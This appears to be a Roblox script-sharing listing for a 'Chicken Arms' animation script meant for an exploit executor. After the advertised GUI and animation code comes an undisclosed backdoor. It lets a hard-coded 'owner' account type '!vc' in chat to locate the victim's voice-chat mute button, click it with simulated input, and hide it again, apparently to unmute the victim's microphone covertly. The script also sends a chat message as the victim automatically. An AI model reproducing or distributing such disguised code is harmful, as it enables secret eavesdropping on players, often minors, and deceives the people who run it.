UniversalFree
0 Likes
Chicken Arms "Must be R15"
Universal Script 📌
chickenarms roblox delta script mobile
Description
MUST BE IN R15 OR IT WONT WORK
local p=game:GetService("Players").LocalPlayer
local u=game:GetService("UserInputService")
local h=(p.Character or p.CharacterAdded:Wait()):WaitForChild("Humanoid")
local g=Instance.new("ScreenGui",p:WaitForChild("PlayerGui"))
g.Name="GYATT"
local c=Instance.new("Frame",g)
c.Size=UDim2.new(0,120,0,160)
c.Position=UDim2.new(.5,-60,.7,0)
c.BackgroundColor3=Color3.fromRGB(25,25,25)
c.Active=true
Instance.new("UICorner",c).CornerRadius=UDim.new(0,10)
local t1=Instance.new("TextLabel",c)
t1.Size=UDim2.new(1,0,0,20)
t1.BackgroundTransparency=1
t1.Text="NEED TO BE IN R15"
t1.TextColor3=Color3.fromRGB(200,200,200)
t1.TextSize=12
t1.Font=Enum.Font.GothamBold
local b=Instance.new("TextButton",c)
b.Size=UDim2.new(1,-20,0,40)
b.Position=UDim2.new(0,10,0,25)
b.Text="STATUS: OFF"
b.BackgroundColor3=Color3.fromRGB(40,40,40)
b.TextColor3=Color3.new(1,1,1)
Instance.new("UICorner",b)
local s=Instance.new("TextLabel",c)
s.Size=UDim2.new(1,0,0,20)
s.Position=UDim2.new(0,0,0,70)
s.BackgroundTransparency=1
s.Text="Speed: 1"
s.TextColor3=Color3.fromRGB(200,200,200)
local bp=Instance.new("TextButton",c)
bp.Size=UDim2.new(0,50,0,30)
bp.Position=UDim2.new(0,10,0,95)
bp.Text="+"
local bm=Instance.new("TextButton",c)
bm.Size=UDim2.new(0,50,0,30)
bm.Position=UDim2.new(0,60,0,95)
bm.Text="-"
local o,t=false,nil
local sp=1
local function apply()
if t then
t:AdjustSpeed(sp)
end
end
b.MouseButton1Click:Connect(function()
o=not o
if o then
local a=Instance.new("Animation")
a.AnimationId="rbxassetid://104200871407307"
t=h:LoadAnimation(a)
t.Priority=Enum.AnimationPriority.Action4
t.Looped=true
t:Play()
apply()
b.Text="STATUS: ON"
else
if t then t:Stop() end
b.Text="STATUS: OFF"
end
end)
local holdPlus=false
local holdMinus=false
local function holdLoop()
while holdPlus or holdMinus do
if holdPlus then
sp=sp+0.1
elseif holdMinus then
sp=math.max(0,sp-0.1)
end
s.Text="Speed: "..string.format("%.1f",sp)
apply()
task.wait(0.05)
end
end
bp.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdPlus=true
task.spawn(holdLoop)
end
end)
bp.InputEnded:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdPlus=false
end
end)
bm.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdMinus=true
task.spawn(holdLoop)
end
end)
bm.InputEnded:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then
holdMinus=false
end
end)
local d=false s0=nil p0=nil
c.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1
or i.UserInputType==Enum.UserInputType.Touch then
d=true
s0=i.Position
p0=c.Position
end
end)
u.InputEnded:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1
or i.UserInputType==Enum.UserInputType.Touch then
d=false
end
end)
u.InputChanged:Connect(function(i)
if not d then return end
if i.UserInputType==Enum.UserInputType.MouseMovement
or i.UserInputType==Enum.UserInputType.Touch then
local m=i.Position-s0
c.Position=UDim2.new(
p0.X.Scale,p0.X.Offset+m.X,
p0.Y.Scale,p0.Y.Offset+m.Y
)
end
end)
task.wait()
local CoreGui = game:GetService("CoreGui")
local Players = game:GetService("Players")
local VIM = game:GetService("VirtualInputManager")
local Camera = workspace.CurrentCamera
local OWNER = "6540a54402"
local PREFIX = "!"
local hidden = false
local resolutionProfiles = {
{min = 200, max = 500, x = 219, y = 39},
{min = 501, max = 600, x = 234, y = 24},
{min = 601, max = 700, x = 249, y = 24},
{min = 701, max = 800, x = 249, y = 24},
{min = 801, max = 900, x = 264, y = 39},
{min = 901, max = 9999, x = 264, y = 39},
}
local function findVC()
for _, v in ipairs(CoreGui:GetDescendants()) do
if v.Name == "toggle_mic_mute" then
return v
end
end
end
local function hideVC(btn)
pcall(function()
btn.Visible = false
for _, v in ipairs(btn:GetDescendants()) do
if v:IsA("GuiObject") then
v.Visible = false
end
end
end)
end
local function showVC(btn)
pcall(function()
btn.Visible = true
for _, v in ipairs(btn:GetDescendants()) do
if v:IsA("GuiObject") then
v.Visible = true
end
end
end)
end
local function clickVC()
local btn = findVC()
if not btn then
warn("VC button not found")
return
end
if hidden then
showVC(btn)
hidden = false
task.wait(0.15)
end
task.wait(0.3)
local viewport = Camera.ViewportSize
local height = viewport.Y
local targetX = 219
local targetY = 39
for _, profile in ipairs(resolutionProfiles) do
if height >= profile.min and height <= profile.max then
targetX = profile.x
targetY = profile.y
break
end
end
VIM:SendMouseMoveEvent(targetX, targetY, game)
task.wait(0.05)
VIM:SendMouseButtonEvent(targetX, targetY, 0, true, game, 0)
task.wait(0.05)
VIM:SendMouseButtonEvent(targetX, targetY, 0, false, game, 0)
task.wait(0.1)
hideVC(btn)
hidden = true
end
local function handleChat(player, msg)
if player.Name ~= OWNER then
return
end
msg = msg:lower():gsub("%s+", "")
if msg == PREFIX .. "vc" then
clickVC()
end
end
Players.PlayerAdded:Connect(function(player)
player.Chatted:Connect(function(msg)
handleChat(player, msg)
end)
end)
for _, player in ipairs(Players:GetPlayers()) do
player.Chatted:Connect(function(msg)
handleChat(player, msg)
end)
end
wait(1)
local c=game:GetService("TextChatService").TextChannels.RBXGeneral
for _,m in ipairs({
"AintMyCrib 🤫🧏"
}) do
c:SendAsync(m)
task.wait()
end
_AintHasABackUpAcc_